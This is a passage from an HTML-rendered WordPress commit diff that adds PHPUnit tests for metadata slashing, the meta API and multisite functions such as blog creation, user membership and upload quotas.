+       function test_update_post_meta() {
+               $id = $this->factory->post->create();
+               update_post_meta( $id, 'slash_test_1', addslashes( $this->slash_1 ) );
+               update_post_meta( $id, 'slash_test_2', addslashes( $this->slash_3 ) );
+               update_post_meta( $id, 'slash_test_3', addslashes( $this->slash_4 ) );
+
+               $this->assertEquals( $this->slash_1, get_post_meta( $id, 'slash_test_1', true ) );
+               $this->assertEquals( $this->slash_3, get_post_meta( $id, 'slash_test_2', true ) );
+               $this->assertEquals( $this->slash_4, get_post_meta( $id, 'slash_test_3', true ) );
+       }
+
+       /**
+        * Tests the model function that expects un-slashed data
+        *
+        */
+       function test_wp_add_post_meta() {
+               if ( !function_exists( 'wp_add_post_meta' ) ) {
+                       return;
+               }
+               $id = $this->factory->post->create();
+               wp_add_post_meta( $id, 'slash_test_1', $this->slash_1 );
+               wp_add_post_meta( $id, 'slash_test_2', $this->slash_3 );
+               wp_add_post_meta( $id, 'slash_test_3', $this->slash_4 );
+
+               $this->assertEquals( $this->slash_1, get_post_meta( $id, 'slash_test_1', true ) );
+               $this->assertEquals( $this->slash_3, get_post_meta( $id, 'slash_test_2', true ) );
+               $this->assertEquals( $this->slash_4, get_post_meta( $id, 'slash_test_3', true ) );
+       }
+
+       /**
+        * Tests the model function that expects un-slashed data
+        *
+        */
+       function test_wp_update_post_meta() {
+               if ( !function_exists( 'wp_update_post_meta' ) ) {
+                       return;
+               }
+               $id = $this->factory->post->create();
+               wp_update_post_meta( $id, 'slash_test_1', $this->slash_1 );
+               wp_update_post_meta( $id, 'slash_test_2', $this->slash_3 );
+               wp_update_post_meta( $id, 'slash_test_3', $this->slash_4 );
+
+               $this->assertEquals( $this->slash_1, get_post_meta( $id, 'slash_test_1', true ) );
+               $this->assertEquals( $this->slash_3, get_post_meta( $id, 'slash_test_2', true ) );
+               $this->assertEquals( $this->slash_4, get_post_meta( $id, 'slash_test_3', true ) );
+       }
+
+       /**
+        * Tests the model function that expects slashed data
+        *
+        */
+       function test_add_comment_meta() {
+               $id = $this->factory->comment->create();
+
+               add_comment_meta( $id, 'slash_test_1', $this->slash_1 );
+               add_comment_meta( $id, 'slash_test_2', $this->slash_3 );
+               add_comment_meta( $id, 'slash_test_3', $this->slash_5 );
+
+               $this->assertEquals( wp_unslash( $this->slash_1 ), get_comment_meta( $id, 'slash_test_1', true ) );
+               $this->assertEquals( wp_unslash( $this->slash_3 ), get_comment_meta( $id, 'slash_test_2', true ) );
+               $this->assertEquals( wp_unslash( $this->slash_5 ), get_comment_meta( $id, 'slash_test_3', true ) );
+
+               add_comment_meta( $id, 'slash_test_4', $this->slash_2 );
+               add_comment_meta( $id, 'slash_test_5', $this->slash_4 );
+               add_comment_meta( $id, 'slash_test_6', $this->slash_6 );
+
+               $this->assertEquals( wp_unslash( $this->slash_2 ), get_comment_meta( $id, 'slash_test_4', true ) );
+               $this->assertEquals( wp_unslash( $this->slash_4 ), get_comment_meta( $id, 'slash_test_5', true ) );
+               $this->assertEquals( wp_unslash( $this->slash_6 ), get_comment_meta( $id, 'slash_test_6', true ) );
+       }
+
+       /**
+        * Tests the model function that expects slashed data
+        *
+        */
+       function test_update_comment_meta() {
+               $id = $this->factory->comment->create();
+
+               add_comment_meta( $id, 'slash_test_1', 'foo' );
+               add_comment_meta( $id, 'slash_test_2', 'foo' );
+               add_comment_meta( $id, 'slash_test_3', 'foo' );
+
+               update_comment_meta( $id, 'slash_test_1', $this->slash_1 );
+               update_comment_meta( $id, 'slash_test_2', $this->slash_3 );
+               update_comment_meta( $id, 'slash_test_3', $this->slash_5 );
+
+               $this->assertEquals( wp_unslash( $this->slash_1 ), get_comment_meta( $id, 'slash_test_1', true ) );
+               $this->assertEquals( wp_unslash( $this->slash_3 ), get_comment_meta( $id, 'slash_test_2', true ) );
+               $this->assertEquals( wp_unslash( $this->slash_5 ), get_comment_meta( $id, 'slash_test_3', true ) );
+
+               update_comment_meta( $id, 'slash_test_1', $this->slash_2 );
+               update_comment_meta( $id, 'slash_test_2', $this->slash_4 );
+               update_comment_meta( $id, 'slash_test_3', $this->slash_6 );
+
+               $this->assertEquals( wp_unslash( $this->slash_2 ), get_comment_meta( $id, 'slash_test_1', true ) );
+               $this->assertEquals( wp_unslash( $this->slash_4 ), get_comment_meta( $id, 'slash_test_2', true ) );
+               $this->assertEquals( wp_unslash( $this->slash_6 ), get_comment_meta( $id, 'slash_test_3', true ) );
+       }
+
+       /**
+        * Tests the model function that expects slashed data
+        *
+        */
+       function test_add_user_meta() {
+               $id = $this->factory->user->create();
+
+               add_user_meta( $id, 'slash_test_1', $this->slash_1 );
+               add_user_meta( $id, 'slash_test_2', $this->slash_3 );
+               add_user_meta( $id, 'slash_test_3', $this->slash_5 );
+
+               $this->assertEquals( wp_unslash( $this->slash_1 ), get_user_meta( $id, 'slash_test_1', true ) );
+               $this->assertEquals( wp_unslash( $this->slash_3 ), get_user_meta( $id, 'slash_test_2', true ) );
+               $this->assertEquals( wp_unslash( $this->slash_5 ), get_user_meta( $id, 'slash_test_3', true ) );
+
+               add_user_meta( $id, 'slash_test_4', $this->slash_2 );
+               add_user_meta( $id, 'slash_test_5', $this->slash_4 );
+               add_user_meta( $id, 'slash_test_6', $this->slash_6 );
+
+               $this->assertEquals( wp_unslash( $this->slash_2 ), get_user_meta( $id, 'slash_test_4', true ) );
+               $this->assertEquals( wp_unslash( $this->slash_4 ), get_user_meta( $id, 'slash_test_5', true ) );
+               $this->assertEquals( wp_unslash( $this->slash_6 ), get_user_meta( $id, 'slash_test_6', true ) );
+       }
+
+       /**
+        * Tests the model function that expects slashed data
+        *
+        */
+       function test_update_user_meta() {
+               $id = $this->factory->user->create();
+
+               add_user_meta( $id, 'slash_test_1', 'foo' );
+               add_user_meta( $id, 'slash_test_2', 'foo' );
+               add_user_meta( $id, 'slash_test_3', 'foo' );
+
+               update_user_meta( $id, 'slash_test_1', $this->slash_1 );
+               update_user_meta( $id, 'slash_test_2', $this->slash_3 );
+               update_user_meta( $id, 'slash_test_3', $this->slash_5 );
+
+               $this->assertEquals( wp_unslash( $this->slash_1 ), get_user_meta( $id, 'slash_test_1', true ) );
+               $this->assertEquals( wp_unslash( $this->slash_3 ), get_user_meta( $id, 'slash_test_2', true ) );
+               $this->assertEquals( wp_unslash( $this->slash_5 ), get_user_meta( $id, 'slash_test_3', true ) );
+
+               update_user_meta( $id, 'slash_test_1', $this->slash_2 );
+               update_user_meta( $id, 'slash_test_2', $this->slash_4 );
+               update_user_meta( $id, 'slash_test_3', $this->slash_6 );
+
+               $this->assertEquals( wp_unslash( $this->slash_2 ), get_user_meta( $id, 'slash_test_1', true ) );
+               $this->assertEquals( wp_unslash( $this->slash_4 ), get_user_meta( $id, 'slash_test_2', true ) );
+               $this->assertEquals( wp_unslash( $this->slash_6 ), get_user_meta( $id, 'slash_test_3', true ) );
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestsmetaphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/meta.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/meta.php                               (rev 0)
+++ trunk/tests/tests/meta.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,153 @@
</span><ins>+<?php
+
+/**
+ * @group meta
+ */
+class Tests_Meta extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+               $this->author = new WP_User( $this->factory->user->create( array( 'role' => 'author' ) ) );
+               $this->meta_id = add_metadata( 'user', $this->author->ID, 'meta_key', 'meta_value' );
+               $this->delete_meta_id = add_metadata( 'user', $this->author->ID, 'delete_meta_key', 'delete_meta_value' );
+       }
+
+       function _meta_sanitize_cb ( $meta_value, $meta_key, $meta_type ) {
+               return 'sanitized';
+       }
+
+       function test_sanitize_meta() {
+               $meta = sanitize_meta( 'some_meta', 'unsanitized', 'post' );
+               $this->assertEquals( 'unsanitized', $meta );
+
+               register_meta( 'post', 'some_meta', array( &$this, '_meta_sanitize_cb' ) );
+               $meta = sanitize_meta( 'some_meta', 'unsanitized', 'post' );
+               $this->assertEquals( 'sanitized', $meta );
+       }
+
+       function test_delete_metadata_by_mid() {
+               // Let's try and delete a non-existing ID, non existing meta
+               $this->assertFalse( delete_metadata_by_mid( 'user', 0 ) );
+               $this->assertFalse( delete_metadata_by_mid( 'non_existing_meta', $this->delete_meta_id ) );
+
+               // Now let's delete the real meta data
+               $this->assertTrue( delete_metadata_by_mid( 'user', $this->delete_meta_id ) );
+
+               // And make sure it's been deleted
+               $this->assertFalse( get_metadata_by_mid( 'user', $this->delete_meta_id ) );
+
+               // Make sure the caches are cleared
+               $this->assertFalse( (bool) get_user_meta( $this->author->ID, 'delete_meta_key' ) );
+       }
+
+       function test_update_metadata_by_mid() {
+               // Setup
+               $meta = get_metadata_by_mid( 'user', $this->meta_id );
+
+               // Update the meta value
+               $this->assertTrue( update_metadata_by_mid( 'user', $this->meta_id, 'meta_new_value' ) );
+               $meta = get_metadata_by_mid( 'user', $this->meta_id );
+               $this->assertEquals( 'meta_new_value', $meta->meta_value );
+
+               // Update the meta value
+               $this->assertTrue( update_metadata_by_mid( 'user', $this->meta_id, 'meta_new_value', 'meta_new_key' ) );
+               $meta = get_metadata_by_mid( 'user', $this->meta_id );
+               $this->assertEquals( 'meta_new_key', $meta->meta_key );
+
+               // Update the key and value
+               $this->assertTrue( update_metadata_by_mid( 'user', $this->meta_id, 'meta_value', 'meta_key' ) );
+               $meta = get_metadata_by_mid( 'user', $this->meta_id );
+               $this->assertEquals( 'meta_key', $meta->meta_key );
+               $this->assertEquals( 'meta_value', $meta->meta_value );
+
+               // Update the value that has to be serialized
+               $this->assertTrue( update_metadata_by_mid( 'user', $this->meta_id, array( 'first', 'second' ) ) );
+               $meta = get_metadata_by_mid( 'user', $this->meta_id );
+               $this->assertEquals( array( 'first', 'second' ), $meta->meta_value );
+
+               // Let's try some invalid meta data
+               $this->assertFalse( update_metadata_by_mid( 'user', 0, 'meta_value' ) );
+               $this->assertFalse( update_metadata_by_mid( 'user', $this->meta_id, 'meta_value', array('invalid', 'key' ) ) );
+
+               // Let's see if caches get cleared after updates.
+               $meta = get_metadata_by_mid( 'user', $this->meta_id );
+               $first = get_user_meta( $meta->user_id, $meta->meta_key );
+               $this->assertTrue( update_metadata_by_mid( 'user', $this->meta_id, 'other_meta_value' ) );
+               $second = get_user_meta( $meta->user_id, $meta->meta_key );
+               $this->assertFalse( $first === $second );
+       }
+
+       function test_metadata_exists() {
+               $this->assertFalse( metadata_exists( 'user',  $this->author->ID, 'foobarbaz' ) );
+               $this->assertTrue( metadata_exists( 'user',  $this->author->ID, 'meta_key' ) );
+               $this->assertFalse( metadata_exists( 'user',  1234567890, 'foobarbaz' ) );
+               $this->assertFalse( metadata_exists( 'user',  1234567890, 'meta_key' ) );
+       }
+
+       /**
+        * @ticket 18158
+        */
+       function test_user_metadata_not_exists() {
+               $u = get_users( array(
+                       'meta_query' => array(
+                               array( 'key' => 'meta_key', 'compare' => 'NOT EXISTS' )
+                       )
+               ) );
+
+               $this->assertEquals( 1, count( $u ) );
+
+               // User found is not locally defined author (it's the admin)
+               $this->assertNotEquals( $this->author->user_login, $u[0]->user_login );
+
+               // Test EXISTS and NOT EXISTS together, no users should be found
+               $this->assertEquals( 0, count( get_users( array(
+                       'meta_query' => array(
+                               array( 'key' => 'meta_key', 'compare' => 'NOT EXISTS' ),
+                               array( 'key' => 'delete_meta_key', 'compare' => 'EXISTS' )
+                       )
+               ) ) ) );
+
+               $this->assertEquals( 2, count( get_users( array(
+                       'meta_query' => array(
+                               array( 'key' => 'non_existing_meta', 'compare' => 'NOT EXISTS' )
+                       )
+               ) ) ) );
+
+               delete_metadata( 'user', $this->author->ID, 'meta_key' );
+
+               $this->assertEquals( 2, count( get_users( array(
+                       'meta_query' => array(
+                               array( 'key' => 'meta_key', 'compare' => 'NOT EXISTS' )
+                       )
+               ) ) ) );
+       }
+
+       function test_metadata_slashes() {
+               $key = rand_str();
+               $value = 'Test\\singleslash';
+               $expected = 'Testsingleslash';
+               $value2 = 'Test\\\\doubleslash';
+               $expected2 = 'Test\\doubleslash';
+               $this->assertFalse( metadata_exists( 'user', $this->author->ID, $key ) );
+               $this->assertFalse( delete_metadata( 'user', $this->author->ID, $key ) );
+               $this->assertSame( '', get_metadata( 'user', $this->author->ID, $key, true ) );
+               $this->assertInternalType( 'int', add_metadata( 'user', $this->author->ID, $key, $value ) );
+               $this->assertEquals( $expected, get_metadata( 'user', $this->author->ID, $key, true ) );
+               $this->assertTrue( delete_metadata( 'user', $this->author->ID, $key ) );
+               $this->assertSame( '', get_metadata( 'user', $this->author->ID, $key, true ) );
+               $this->assertInternalType( 'int', update_metadata( 'user', $this->author->ID, $key, $value ) );
+               $this->assertEquals( $expected, get_metadata( 'user', $this->author->ID, $key, true ) );
+               $this->assertTrue( update_metadata( 'user', $this->author->ID, $key, 'blah' ) );
+               $this->assertEquals( 'blah', get_metadata( 'user', $this->author->ID, $key, true ) );
+               $this->assertTrue( delete_metadata( 'user', $this->author->ID, $key ) );
+               $this->assertSame( '', get_metadata( 'user', $this->author->ID, $key, true ) );
+               $this->assertFalse( metadata_exists( 'user', $this->author->ID, $key ) );
+
+               // Test overslashing
+               $this->assertInternalType( 'int', add_metadata( 'user', $this->author->ID, $key, $value2 ) );
+               $this->assertEquals( $expected2, get_metadata( 'user', $this->author->ID, $key, true ) );
+               $this->assertTrue( delete_metadata( 'user', $this->author->ID, $key ) );
+               $this->assertSame( '', get_metadata( 'user', $this->author->ID, $key, true ) );
+               $this->assertInternalType( 'int', update_metadata( 'user', $this->author->ID, $key, $value2 ) );
+               $this->assertEquals( $expected2, get_metadata( 'user', $this->author->ID, $key, true ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsmsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/ms.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/ms.php                         (rev 0)
+++ trunk/tests/tests/ms.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,1008 @@
</span><ins>+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * A set of unit tests for WordPress Multisite
+ *
+ * @group multisite
+ */
+class Tests_MS extends WP_UnitTestCase {
+
+       protected $plugin_hook_count = 0;
+
+       function test_create_and_delete_blog() {
+               global $wpdb;
+
+               $blog_ids = $this->factory->blog->create_many( 4 );
+               foreach ( $blog_ids as $blog_id ) {
+                       $this->assertInternalType( 'int', $blog_id );
+                       $prefix = $wpdb->get_blog_prefix( $blog_id );
+
+                       // $get_all = false
+                       $details = get_blog_details( $blog_id, false );
+                       $this->assertEquals( $details, wp_cache_get( $blog_id . 'short', 'blog-details' ) );
+
+                       // get_id_from_blogname(), see #20950
+                       $this->assertEquals( $blog_id, get_id_from_blogname( $details->path ) );
+                       $this->assertEquals( $blog_id, wp_cache_get( 'get_id_from_blogname_' . trim( $details->path, '/' ), 'blog-details' ) );
+
+                       // get_blog_id_from_url()
+                       $this->assertEquals( $blog_id, get_blog_id_from_url( $details->domain, $details->path ) );
+                       $key = md5( $details->domain . $details->path );
+                       $this->assertEquals( $blog_id, wp_cache_get( $key, 'blog-id-cache' ) );
+
+                       // These are empty until get_blog_details() is called with $get_all = true
+                       $this->assertEquals( false, wp_cache_get( $blog_id, 'blog-details' ) );
+                       $key = md5( $details->domain . $details->path );
+                       $this->assertEquals( false, wp_cache_get( $key, 'blog-lookup' ) );
+
+                       // $get_all = true should propulate the full blog-details cache and the blog slug lookup cache
+                       $details = get_blog_details( $blog_id, true );
+                       $this->assertEquals( $details, wp_cache_get( $blog_id, 'blog-details' ) );
+                       $this->assertEquals( $details, wp_cache_get( $key, 'blog-lookup' ) );
+
+                       foreach ( $wpdb->tables( 'blog', false ) as $table ) {
+                               $wpdb->suppress_errors();
+                               $table_fields = $wpdb->get_results( "DESCRIBE $prefix$table;" );
+                               $wpdb->suppress_errors( false );
+                               $this->assertNotEmpty( $table_fields );
+                               $result = $wpdb->get_results( "SELECT * FROM $prefix$table LIMIT 1" );
+                               if ( 'commentmeta' == $table || 'links' == $table )
+                                       $this->assertEmpty( $result );
+                               else
+                                       $this->assertNotEmpty( $result );
+                       }
+               }
+
+               // update the blog count cache to use get_blog_count()
+               wp_update_network_counts();
+               $this->assertEquals( 4 + 1, (int) get_blog_count() );
+
+               $drop_tables = false;
+               // delete all blogs
+               foreach ( $blog_ids as $blog_id ) {
+                       // drop tables for every second blog
+                       $drop_tables = ! $drop_tables;
+                       $details = get_blog_details( $blog_id, false );
+
+                       wpmu_delete_blog( $blog_id, $drop_tables );
+
+                       $this->assertEquals( false, wp_cache_get( 'get_id_from_blogname_' . trim( $details->path, '/' ), 'blog-details' ) );
+                       $this->assertEquals( false, wp_cache_get( $blog_id, 'blog-details' ) );
+                       $this->assertEquals( false, wp_cache_get( $blog_id . 'short', 'blog-details' ) );
+                       $key = md5( $details->domain . $details->path );
+                       $this->assertEquals( false, wp_cache_get( $key, 'blog-lookup' ) );
+                       $this->assertEquals( false, wp_cache_get( $key, 'blog-id-cache' ) );
+
+                       $prefix = $wpdb->get_blog_prefix( $blog_id );
+                       foreach ( $wpdb->tables( 'blog', false ) as $table ) {
+                               $wpdb->suppress_errors();
+                               $table_fields = $wpdb->get_results( "DESCRIBE $prefix$table;" );
+                               $wpdb->suppress_errors( false );
+                               if ( $drop_tables )
+                                       $this->assertEmpty( $table_fields );
+                               else
+                                       $this->assertNotEmpty( $table_fields, $prefix . $table );
+                       }
+               }
+
+               // update the blog count cache to use get_blog_count()
+               wp_update_network_counts();
+               $this->assertEquals( 1, get_blog_count() );
+       }
+
+       function test_get_blogs_of_user() {
+               // Logged out users don't have blogs.
+               $this->assertEquals( array(), get_blogs_of_user( 0 ) );
+
+               $user1_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+               $blog_ids = $this->factory->blog->create_many( 10, array( 'user_id' => $user1_id ) );
+
+               foreach ( $blog_ids as $blog_id )
+                       $this->assertInternalType( 'int', $blog_id );
+
+               $blogs_of_user = array_keys( get_blogs_of_user( $user1_id, false ) );
+               sort( $blogs_of_user );
+               $this->assertEquals ( array_merge( array( 1 ), $blog_ids), $blogs_of_user );
+
+               $this->assertTrue( remove_user_from_blog( $user1_id, 1 ) );
+
+               $blogs_of_user = array_keys( get_blogs_of_user( $user1_id, false ) );
+               sort( $blogs_of_user );
+               $this->assertEquals ( $blog_ids, $blogs_of_user );
+
+               foreach ( get_blogs_of_user( $user1_id, false ) as $blog ) {
+                       $this->assertTrue( isset( $blog->userblog_id ) );
+                       $this->assertTrue( isset( $blog->blogname ) );
+                       $this->assertTrue( isset( $blog->domain ) );
+                       $this->assertTrue( isset( $blog->path ) );
+                       $this->assertTrue( isset( $blog->site_id ) );
+                       $this->assertTrue( isset( $blog->siteurl ) );
+                       $this->assertTrue( isset( $blog->archived ) );
+                       $this->assertTrue( isset( $blog->spam ) );
+                       $this->assertTrue( isset( $blog->deleted ) );
+               }
+
+               // Non-existent users don't have blogs.
+               wpmu_delete_user( $user1_id );
+               $user = new WP_User( $user1_id );
+               $this->assertFalse( $user->exists(), 'WP_User->exists' );
+               $this->assertEquals( array(), get_blogs_of_user( $user1_id ) );
+       }
+
+       function test_is_blog_user() {
+               global $wpdb;
+
+               $user1_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+
+               $old_current = get_current_user_id();
+               wp_set_current_user( $user1_id );
+
+               $this->assertTrue( is_blog_user() );
+               $this->assertTrue( is_blog_user( $wpdb->blogid ) );
+
+               $blog_ids = array();
+
+               $blog_ids = $this->factory->blog->create_many( 5 );
+               foreach ( $blog_ids as $blog_id ) {
+                       $this->assertInternalType( 'int', $blog_id );
+                       $this->assertTrue( is_blog_user( $blog_id ) );
+                       $this->assertTrue( remove_user_from_blog( $user1_id, $blog_id ) );
+                       $this->assertFalse( is_blog_user( $blog_id ) );
+               }
+
+               wp_set_current_user( $old_current );
+       }
+
+       function test_is_user_member_of_blog() {
+               global $wpdb;
+
+               $user1_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+
+               $old_current = get_current_user_id();
+               wp_set_current_user( $user1_id );
+
+               $this->assertTrue( is_user_member_of_blog() );
+               $this->assertTrue( is_user_member_of_blog( 0, 0 ) );
+               $this->assertTrue( is_user_member_of_blog( 0, $wpdb->blogid ) );
+               $this->assertTrue( is_user_member_of_blog( $user1_id ) );
+               $this->assertTrue( is_user_member_of_blog( $user1_id, $wpdb->blogid ) );
+
+               $blog_ids = $this->factory->blog->create_many( 5 );
+               foreach ( $blog_ids as $blog_id ) {
+                       $this->assertInternalType( 'int', $blog_id );
+                       $this->assertTrue( is_user_member_of_blog( $user1_id, $blog_id ) );
+                       $this->assertTrue( remove_user_from_blog( $user1_id, $blog_id ) );
+                       $this->assertFalse( is_user_member_of_blog( $user1_id, $blog_id ) );
+               }
+
+               wpmu_delete_user( $user1_id );
+               $user = new WP_User( $user1_id );
+               $this->assertFalse( $user->exists(), 'WP_User->exists' );
+               $this->assertFalse( is_user_member_of_blog( $user1_id ), 'is_user_member_of_blog' );
+
+               wp_set_current_user( $old_current );
+       }
+
+       function test_active_network_plugins() {
+               $path = "hello.php";
+
+               // local activate, should be invisible for the network
+               activate_plugin($path); // $network_wide = false
+               $active_plugins = wp_get_active_network_plugins();
+               $this->assertEquals( Array(), $active_plugins );
+
+               add_action( 'deactivated_plugin', array( $this, '_helper_deactivate_hook' ) );
+
+               // activate the plugin sitewide
+               activate_plugin($path, '', $network_wide = true);
+               $active_plugins = wp_get_active_network_plugins();
+               $this->assertEquals( Array(WP_PLUGIN_DIR . '/hello.php'), $active_plugins );
+
+               //deactivate the plugin
+               deactivate_plugins($path);
+               $active_plugins = wp_get_active_network_plugins();
+               $this->assertEquals( Array(), $active_plugins );
+
+               $this->assertEquals( 1, $this->plugin_hook_count ); // testing actions and silent mode
+
+               activate_plugin($path, '', $network_wide = true);
+               deactivate_plugins($path, true); // silent
+
+               $this->assertEquals( 1, $this->plugin_hook_count ); // testing actions and silent mode
+       }
+
+       function _helper_deactivate_hook() {
+               $this->plugin_hook_count++;
+       }
+
+       function test_get_user_count() {
+               // Refresh the cache
+               wp_update_network_counts();
+               $start_count = get_user_count();
+
+               $this->factory->user->create( array( 'role' => 'administrator' ) );
+
+               $count = get_user_count(); // No change, cache not refreshed
+               $this->assertEquals( $start_count, $count );
+
+               wp_update_network_counts(); // Magic happens here
+
+               $count = get_user_count();
+               $this->assertEquals( $start_count + 1, $count );
+       }
+
+       function test_wp_schedule_update_network_counts() {
+               $this->assertFalse(wp_next_scheduled('update_network_counts'));
+
+               // We can't use wp_schedule_update_network_counts() because WP_INSTALLING is set
+               wp_schedule_event(time(), 'twicedaily', 'update_network_counts');
+
+               $this->assertInternalType('int', wp_next_scheduled('update_network_counts'));
+       }
+
+       function test_users_can_register_signup_filter() {
+
+               $registration = get_site_option('registration');
+               $this->assertFalse( users_can_register_signup_filter() );
+
+               update_site_option('registration', 'all');
+               $this->assertTrue( users_can_register_signup_filter() );
+
+               update_site_option('registration', 'user');
+               $this->assertTrue( users_can_register_signup_filter() );
+
+               update_site_option('registration', 'none');
+               $this->assertFalse( users_can_register_signup_filter() );
+       }
+
+       function test_get_dashboard_blog() {
+               // if there is no dashboard blog set, current blog is used
+               $dashboard_blog = get_dashboard_blog();
+               $this->assertEquals( 1, $dashboard_blog->blog_id );
+
+               $user_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+               $blog_id = $this->factory->blog->create( array( 'user_id' => $user_id ) );
+               $this->assertInternalType( 'int', $blog_id );
+
+               // set the dashboard blog to another one
+               update_site_option( 'dashboard_blog', $blog_id );
+               $dashboard_blog = get_dashboard_blog();
+               $this->assertEquals( $blog_id, $dashboard_blog->blog_id );
+       }
+
+       function test_wpmu_log_new_registrations() {
+               global $wpdb;
+
+               $user = new WP_User( 1 );
+               $ip = preg_replace( '/[^0-9., ]/', '',$_SERVER['REMOTE_ADDR'] );
+
+               wpmu_log_new_registrations(1,1);
+
+               // currently there is no wrapper function for the registration_log
+               $reg_blog = $wpdb->get_col( "SELECT email FROM {$wpdb->registration_log} WHERE {$wpdb->registration_log}.blog_id = 1 AND IP LIKE '" . $ip . "'" );
+               $this->assertEquals( $user->user_email, $reg_blog[ count( $reg_blog )-1 ] );
+       }
+
+       /**
+        * @ticket 18119
+        */
+       function test_upload_is_user_over_quota() {
+               $default_space_allowed = 50;
+               $echo = false;
+
+               $this->assertFalse( upload_is_user_over_quota( $echo ) );
+               $this->assertTrue( is_upload_space_available() );
+
+               update_site_option('upload_space_check_disabled', true);
+               $this->assertFalse( upload_is_user_over_quota( $echo ) );
+               $this->assertTrue( is_upload_space_available() );
+
+               update_site_option( 'blog_upload_space', 0 );
+               $this->assertFalse( upload_is_user_over_quota( $echo ) );
+               $this->assertEquals( $default_space_allowed, get_space_allowed() );
+               $this->assertTrue( is_upload_space_available() );
+
+               update_site_option('upload_space_check_disabled', false);
+               $this->assertFalse( upload_is_user_over_quota( $echo ) );
+               $this->assertTrue( is_upload_space_available() );
+
+               if ( ! file_exists( BLOGSUPLOADDIR ) )
+                       $this->markTestSkipped( 'This test is broken when blogs.dir does not exist. ');
+
+               /*
+               This is broken when blogs.dir does not exist, as get_upload_space_available()
+               simply returns the value of blog_upload_space (converted to bytes), which would
+               be negative but still not false. When blogs.dir does exist, < 0 is returned as 0.
+               */
+
+               update_site_option( 'blog_upload_space', -1 );
+               $this->assertTrue( upload_is_user_over_quota( $echo ) );
+               $this->assertEquals( -1, get_space_allowed() );
+               $this->assertFalse( is_upload_space_available() );
+
+               update_option( 'blog_upload_space', 0 );
+               $this->assertFalse( upload_is_user_over_quota( $echo ) );
+               $this->assertEquals( $default_space_allowed, get_space_allowed() );
+               $this->assertTrue( is_upload_space_available() );
+
+               update_option( 'blog_upload_space', -1 );
+               $this->assertTrue( upload_is_user_over_quota( $echo ) );
+               $this->assertEquals( -1, get_space_allowed() );
+               $this->assertFalse( is_upload_space_available() );
+       }
+
+       function test_wpmu_update_blogs_date() {
+               global $wpdb;
+
+               wpmu_update_blogs_date();
+
+               // compare the update time with the current time, allow delta < 2
+               $blog = get_blog_details( $wpdb->blogid );
+               $current_time = time();
+               $time_difference = $current_time - strtotime( $blog->last_updated );
+               $this->assertLessThan( 2, $time_difference );
+       }
+
+       function test_getters(){
+               global $current_site;
+
+               $blog_id = get_current_blog_id();
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( $blog_id, $blog->blog_id );
+               $this->assertEquals( $current_site->domain, $blog->domain );
+               $this->assertEquals( '/', $blog->path );
+
+               // Test defaulting to current blog
+               $this->assertEquals( $blog, get_blog_details() );
+
+               $user_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+               $blog_id = $this->factory->blog->create( array( 'user_id' => $user_id, 'path' => '/test_blogname', 'title' => 'Test Title' ) );
+               $this->assertInternalType( 'int', $blog_id );
+
+               $this->assertEquals( 'http://' . DOMAIN_CURRENT_SITE . PATH_CURRENT_SITE . 'test_blogname/', get_blogaddress_by_name('test_blogname') );
+
+               $this->assertEquals( $blog_id, get_id_from_blogname('test_blogname') );
+       }
+
+       function _action_counter_cb( $blog_id ) {
+               global $test_action_counter;
+               $test_action_counter++;
+       }
+
+       function test_update_blog_details() {
+               global $test_action_counter;
+
+               $user_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+               $blog_id = $this->factory->blog->create( array( 'user_id' => $user_id, 'path' => '/test_blogpath', 'title' => 'Test Title' ) );
+               $this->assertInternalType( 'int', $blog_id );
+
+               $result = update_blog_details( $blog_id, array('domain' => 'example.com', 'path' => 'my_path/') );
+               $this->assertTrue( $result );
+
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( 'example.com', $blog->domain );
+               $this->assertEquals( 'my_path/', $blog->path );
+               $this->assertEquals( '0', $blog->spam );
+
+               $result = update_blog_details( $blog_id, array('domain' => 'example2.com','spam' => 1) );
+               $this->assertTrue( $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( 'example2.com', $blog->domain );
+               $this->assertEquals( 'my_path/', $blog->path );
+               $this->assertEquals( '1', $blog->spam );
+
+               $result = update_blog_details( $blog_id );
+               $this->assertFalse( $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( 'example2.com', $blog->domain );
+               $this->assertEquals( 'my_path/', $blog->path );
+               $this->assertEquals( '1', $blog->spam );
+
+               $test_action_counter = 0;
+
+               add_action( 'make_ham_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+               $result = update_blog_details( $blog_id, array( 'spam' => 0 ) );
+               $this->assertTrue( $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '0', $blog->spam );
+               $this->assertEquals( 1, $test_action_counter );
+
+               // Same again
+               $result = update_blog_details( $blog_id, array( 'spam' => 0 ) );
+               $this->assertTrue( $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '0', $blog->spam );
+               $this->assertEquals( 1, $test_action_counter );
+               remove_action( 'make_ham_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+
+               add_action( 'make_spam_blog', array( $this, '_action_counter_cb' ), 10, 1 );
+               $result = update_blog_details( $blog_id, array( 'spam' => 1 ) );
+               $this->assertTrue( $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '1', $blog->spam );
+               $this->assertEquals( 2, $test_action_counter );
+
+               // Same again
+               $result = update_blog_details( $blog_id, array( 'spam' => 1 ) );
+               $this->assertTrue( $result );
+               $blog = get_blog_details( $blog_id );
+               $this->assertEquals( '1', $blog->spam );
+               $this->assertEquals( 2, $test_action_counter );
